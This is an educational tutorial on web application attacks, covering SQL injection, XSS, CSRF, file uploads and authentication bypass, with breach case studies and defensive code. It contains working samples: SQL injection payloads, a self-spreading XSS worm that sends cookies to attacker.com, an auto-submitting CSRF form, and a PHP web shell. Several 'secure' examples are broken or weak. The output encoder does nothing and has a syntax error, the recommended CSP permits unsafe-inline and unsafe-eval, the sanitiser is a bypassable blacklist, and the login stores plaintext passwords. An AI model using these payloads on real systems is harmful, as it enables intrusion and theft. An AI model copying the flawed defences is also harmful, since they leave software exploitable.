In this project, we will explore web application attacks, which are among the most common cyber threats targeting online services. We'll examine real-world vulnerabilities, demonstrate attack techniques, and analyze famous breaches to understand how attackers exploit web application weaknesses. We'll also look at prevention strategies and security best practices.
What are Web Application Attacks?
Web application attacks target vulnerabilities in web-based software to gain unauthorized access, steal data, or disrupt services. These attacks exploit weaknesses in the application's code, configuration, or underlying infrastructure.
Why Web Applications are Targeted
High Value: Web applications often contain sensitive data like user credentials, financial information, and personal details.
Easy Access: Web applications are accessible from anywhere on the internet, providing a large attack surface.
Complex Code: Modern web applications are complex, creating numerous potential vulnerabilities.
User Trust: Users trust web applications with their data, making them attractive targets.
SQL Injection Attacks
What is SQL Injection?
SQL injection occurs when attackers insert malicious SQL code into web application inputs, allowing them to manipulate databases and access unauthorized data.
Real-World Example: Heartland Payment Systems (2008)
Impact: 134 million credit card numbers stolen Method: SQL injection through web application Damage: $140 million in fines and settlements
# Example of vulnerable login form
def vulnerable_login(username, password):
"""Vulnerable login function - DO NOT USE IN PRODUCTION"""
# Vulnerable SQL query - susceptible to injection
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
# Execute query
result = execute_query(query)
if result:
return "Login successful"
else:
return "Login failed"
# Attacker's malicious input
malicious_username = "admin' OR '1'='1' --"
malicious_password = "anything"
# This results in: SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = 'anything'
# The -- comments out the rest of the query, making it always return true
Advanced SQL Injection Techniques
# Example of UNION-based SQL injection
def union_injection():
"""Example of UNION-based SQL injection"""
# Original query: SELECT name, email FROM users WHERE id = 1
# Attacker input: 1 UNION SELECT username, password FROM admin_users
malicious_input = "1 UNION SELECT username, password FROM admin_users --"
# Resulting query:
# SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin_users
# This returns both user data AND admin credentials
return execute_query(f"SELECT name, email FROM users WHERE id = {malicious_input}")
# Example of blind SQL injection
def blind_sql_injection():
"""Example of blind SQL injection using boolean logic"""
# Test if admin user exists
test_queries = [
"1 AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0",
"1 AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 32",
"1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'"
]
for query in test_queries:
result = execute_query(f"SELECT * FROM users WHERE id = {query}")
if result:
print("Condition is true")
else:
print("Condition is false")
# Example of time-based SQL injection
def time_based_injection():
"""Example of time-based SQL injection"""
# Use SLEEP() function to determine if condition is true
malicious_input = "1 AND IF((SELECT COUNT(*) FROM admin_users) > 0, SLEEP(5), 0)"
# If admin_users table exists, query will take 5 seconds
start_time = time.time()
result = execute_query(f"SELECT * FROM users WHERE id = {malicious_input}")
execution_time = time.time() - start_time
if execution_time > 5:
print("Admin users table exists!")
SQL Injection Prevention
# Secure login function using parameterized queries
def secure_login(username, password):
"""Secure login function using parameterized queries"""
# Use parameterized query to prevent SQL injection
query = "SELECT * FROM users WHERE username = %s AND password = %s"
parameters = (username, password)
# Execute with parameters
result = execute_query(query, parameters)
if result:
return "Login successful"
else:
return "Login failed"
# Input validation and sanitization
def validate_input(input_string):
"""Validate and sanitize user input"""
# Remove dangerous characters
dangerous_chars = ["'", '"', ';', '--', '/*', '*/', 'xp_', 'sp_']
for char in dangerous_chars:
if char in input_string:
raise ValueError(f"Dangerous character detected: {char}")
# Check length
if len(input_string) > 100:
raise ValueError("Input too long")
return input_string.strip()
Cross-Site Scripting (XSS) Attacks
What is XSS?
XSS attacks inject malicious scripts into web pages viewed by other users, allowing attackers to steal cookies, session tokens, and other sensitive information.
Real-World Example: MySpace XSS Worm (2005)
Impact: First major XSS worm, infected over 1 million users Method: Stored XSS in user profiles Result: Massive spread of malicious code
<!-- Example of stored XSS vulnerability -->
<div class="user-profile">
<h2>Welcome, <?php echo $user_input; ?></h2>
<p>Your profile: <?php echo $profile_data; ?></p>
</div>
<!-- Attacker's malicious input -->
<script>
// Steal user's cookies
var cookies = document.cookie;
// Send to attacker's server
var img = new Image();
img.src = "http://attacker.com/steal?cookies=" + encodeURIComponent(cookies);
// Self-replicating worm
var worm = '<script>var cookies=document.cookie;var img=new Image();img.src="http://attacker.com/steal?cookies="+encodeURIComponent(cookies);<\/script>';
// Post to user's profile
fetch('/update_profile', {
method: 'POST',
body: 'profile=' + encodeURIComponent(worm)
});
</script>
Types of XSS Attacks
// Reflected XSS Example
function search_results(query) {
// Vulnerable code - directly outputs user input
document.getElementById('results').innerHTML =
`<p>Search results for: ${query}</p>`;
}
// Attacker's malicious input
const malicious_query = '<script>alert("XSS")</script>';
search_results(malicious_query);
// DOM-based XSS Example
function update_url() {
// Vulnerable code - uses URL fragment without validation
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(hash);
}
// Attacker's malicious URL
// http://example.com/page#<script>alert("DOM XSS")</script>
// Stored XSS Example
function save_comment(comment) {
// Vulnerable code - stores user input without sanitization
const comment_html = `<div class="comment">${comment}</div>`;
save_to_database(comment_html);
}
// Attacker's malicious comment
const malicious_comment = '<script>steal_cookies()</script>';
save_comment(malicious_comment);
XSS Prevention
// Input sanitization
function sanitize_input(input) {
// Remove script tags and dangerous attributes
return input
.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
.replace(/javascript:/gi, '')
.replace(/on\w+\s*=/gi, '')
.replace(/<iframe/gi, '')
.replace(/<object/gi, '')
.replace(/<embed/gi, '');
}
// Output encoding
function encode_output(input) {
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Content Security Policy (CSP)
const csp_header = "Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';";
// Secure comment system
function save_secure_comment(comment) {
// Sanitize input
const sanitized_comment = sanitize_input(comment);
// Encode output
const encoded_comment = encode_output(sanitized_comment);
// Save to database
save_to_database(encoded_comment);
}
Cross-Site Request Forgery (CSRF) Attacks
What is CSRF?
CSRF attacks trick authenticated users into performing unwanted actions on websites they're logged into, without their knowledge.
Real-World Example: Netflix CSRF (2006)
Impact: Users could be tricked into changing their account settings Method: CSRF through malicious website Result: Account hijacking potential
<!-- Example of CSRF attack -->
<!-- Attacker's malicious website -->
<html>
<head>
<title>Free Movie Downloads!</title>
</head>
<body>
<h1>Click here for free movies!</h1>
<!-- Hidden form that submits automatically -->
<form id="csrf_form" action="https://netflix.com/account/change_email" method="POST" style="display:none;">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm_email" value="attacker@evil.com">
<input type="submit" value="Submit">
</form>
<script>
// Auto-submit form when page loads
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
CSRF Prevention
// CSRF Token Implementation
class CSRFProtection {
private $token;
public function __construct() {
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$this->token = $_SESSION['csrf_token'];
}
public function generate_token() {
return $this->token;
}
public function verify_token($token) {
return hash_equals($this->token, $token);
}
}
// Secure form with CSRF token
function secure_form() {
$csrf = new CSRFProtection();
$token = $csrf->generate_token();
echo '<form action="/change_email" method="POST">';
echo '<input type="hidden" name="csrf_token" value="' . $token . '">';
echo '<input type="email" name="email" placeholder="New Email">';
echo '<input type="submit" value="Change Email">';
echo '</form>';
}
// Verify CSRF token on form submission
function handle_form_submission() {
$csrf = new CSRFProtection();
if (!$csrf->verify_token($_POST['csrf_token'])) {
die('CSRF token validation failed');
}
// Process form data
process_email_change($_POST['email']);
}
File Upload Vulnerabilities
What are File Upload Attacks?
Attackers upload malicious files to web applications, which can then be executed to gain unauthorized access or cause damage.
Real-World Example: Image Upload Bypass
# Vulnerable file upload function
def vulnerable_upload(file):
"""Vulnerable file upload - DO NOT USE"""
# Check only file extension
if file.filename.endswith('.jpg') or file.filename.endswith('.png'):
# Save file without proper validation
file.save(f'uploads/{file.filename}')
return "File uploaded successfully"
else:
return "Invalid file type"
# Attacker's malicious file
malicious_file = "shell.php.jpg" # PHP file with .jpg extension
# Content: <?php system($_GET['cmd']); ?>
# After upload, attacker can access:
# http://example.com/uploads/shell.php.jpg?cmd=ls
Secure File Upload
# Secure file upload implementation
import os
import magic
import hashlib
from PIL import Image
def secure_upload(file):
"""Secure file upload with multiple validations"""
# 1. Check file size
if file.content_length > 5 * 1024 * 1024: # 5MB limit
raise ValueError("File too large")
# 2. Validate file extension
allowed_extensions = ['.jpg', '.jpeg', '.png', '.gif']
file_extension = os.path.splitext(file.filename)[1].lower()
if file_extension not in allowed_extensions:
raise ValueError("Invalid file extension")
# 3. Check MIME type
mime_type = magic.from_buffer(file.read(1024), mime=True)
file.seek(0) # Reset file pointer
allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']
if mime_type not in allowed_mimes:
raise ValueError("Invalid MIME type")
# 4. Validate image content
try:
image = Image.open(file)
image.verify()
file.seek(0)
except:
raise ValueError("Invalid image file")
# 5. Generate safe filename
file_hash = hashlib.sha256(file.read()).hexdigest()
safe_filename = f"{file_hash}{file_extension}"
file.seek(0)
# 6. Save to secure location
upload_path = f"/var/www/uploads/{safe_filename}"
file.save(upload_path)
# 7. Set proper permissions
os.chmod(upload_path, 0o644)
return f"uploads/{safe_filename}"
Authentication Bypass Attacks
What is Authentication Bypass?
Attackers find ways to access protected resources without proper authentication, often through vulnerabilities in the authentication system.
Real-World Example: SQL Injection Authentication Bypass
# Vulnerable authentication
def vulnerable_auth(username, password):
"""Vulnerable authentication - DO NOT USE"""
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
result = execute_query(query)
if result:
return create_session(result[0])
else:
return None
# Attacker bypasses authentication
bypass_username = "admin' --"
bypass_password = "anything"
# Results in: SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
# The -- comments out the password check
Secure Authentication
# Secure authentication implementation
import bcrypt
import secrets
import time
class SecureAuth:
def __init__(self):
self.max_attempts = 5
self.lockout_time = 300 # 5 minutes
self.failed_attempts = {}
def hash_password(self, password):
"""Hash password using bcrypt"""
salt = bcrypt.gensalt()
return bcrypt.hashpw(password.encode('utf-8'), salt)
def verify_password(self, password, hashed):
"""Verify password against hash"""
return bcrypt.checkpw(password.encode('utf-8'), hashed)
def check_rate_limit(self, username):
"""Check if user is rate limited"""
if username in self.failed_attempts:
attempts, last_attempt = self.failed_attempts[username]
if attempts >= self.max_attempts:
if time.time() - last_attempt < self.lockout_time:
return False
else:
# Reset after lockout period
del self.failed_attempts[username]
return True
def record_failed_attempt(self, username):
"""Record failed login attempt"""
if username in self.failed_attempts:
attempts, _ = self.failed_attempts[username]
self.failed_attempts[username] = (attempts + 1, time.time())
else:
self.failed_attempts[username] = (1, time.time())
def authenticate(self, username, password):
"""Secure authentication"""
# Check rate limiting
if not self.check_rate_limit(username):
raise ValueError("Account temporarily locked")
# Use parameterized query
query = "SELECT id, username, password_hash FROM users WHERE username = %s"
result = execute_query(query, (username,))
if not result:
self.record_failed_attempt(username)
return None
user = result[0]
# Verify password
if self.verify_password(password, user['password_hash']):
# Reset failed attempts on success
if username in self.failed_attempts:
del self.failed_attempts[username]
# Create secure session
return self.create_secure_session(user)
else:
self.record_failed_attempt(username)
return None
def create_secure_session(self, user):
"""Create secure session token"""
session_token = secrets.token_urlsafe(32)
session_data = {
'user_id': user['id'],
'username': user['username'],
'created_at': time.time(),
'expires_at': time.time() + 3600 # 1 hour
}
# Store session in database
store_session(session_token, session_data)
return session_token
Real-World Case Studies
Equifax Breach (2017)
Vulnerability: Apache Struts vulnerability (CVE-2017-5638) Impact: 147 million records exposed Method: Remote code execution through web application Result: $700 million in damages
Yahoo Breaches (2013-2014)
Vulnerability: Multiple web application vulnerabilities Impact: 3 billion accounts compromised Method: Various web application attacks Result: $350 million reduction in Verizon acquisition price
Target Breach (2013)
Vulnerability: Web application vulnerability in HVAC contractor Impact: 40 million credit card numbers stolen Method: Initial access through web application Result: $162 million in damages
Prevention and Defense
Security Headers
# Security headers implementation
def set_security_headers():
"""Set security headers for web application"""
headers = {
'X-Frame-Options': 'DENY', # Prevent clickjacking
'X-Content-Type-Options': 'nosniff', # Prevent MIME sniffing
'X-XSS-Protection': '1; mode=block', # Enable XSS protection
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains', # Force HTTPS
'Content-Security-Policy': "default-src 'self'; script-src 'self' 'unsafe-inline'", # CSP
'Referrer-Policy': 'strict-origin-when-cross-origin' # Control referrer information
}
for header, value in headers.items():
response.headers[header] = value
Input Validation Framework
# Input validation framework
class InputValidator:
def __init__(self):
self.rules = {}
def add_rule(self, field, rule_type, **kwargs):
"""Add validation rule for field"""
self.rules[field] = {'type': rule_type, 'params': kwargs}
def validate(self, data):
"""Validate input data"""
errors = {}
for field, rule in self.rules.items():
if field in data:
value = data[field]
if rule['type'] == 'email':
if not self.is_valid_email(value):
errors[field] = "Invalid email format"
elif rule['type'] == 'length':
min_len = rule['params'].get('min', 0)
max_len = rule['params'].get('max', 1000)
if len(value) < min_len or len(value) > max_len:
errors[field] = f"Length must be between {min_len} and {max_len}"
elif rule['type'] == 'regex':
pattern = rule['params']['pattern']
if not re.match(pattern, value):
errors[field] = rule['params'].get('message', 'Invalid format')
return errors
def is_valid_email(self, email):
"""Validate email format"""
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return re.match(pattern, email) is not None
# Usage example
validator = InputValidator()
validator.add_rule('email', 'email')
validator.add_rule('username', 'length', min=3, max=20)
validator.add_rule('password', 'regex', pattern=r'^(?=.*[A-Za-z])(?=.*\d)[A-Za-z\d]{8,}$',
message='Password must be at least 8 characters with letters and numbers')
errors = validator.validate({'email': 'invalid-email', 'username': 'ab', 'password': 'weak'})
Conclusion
Web application attacks remain a significant threat due to the complexity of modern web applications and the valuable data they contain. Understanding these vulnerabilities and implementing proper security measures is crucial for protecting against these attacks.
The key to defending against web application attacks is a multi-layered approach that includes input validation, output encoding, secure authentication, and proper security headers. Regular security testing and code reviews are also essential for identifying and fixing vulnerabilities before they can be exploited.
Remember: Security is not a one-time effort but an ongoing process that requires constant vigilance and adaptation to new threats.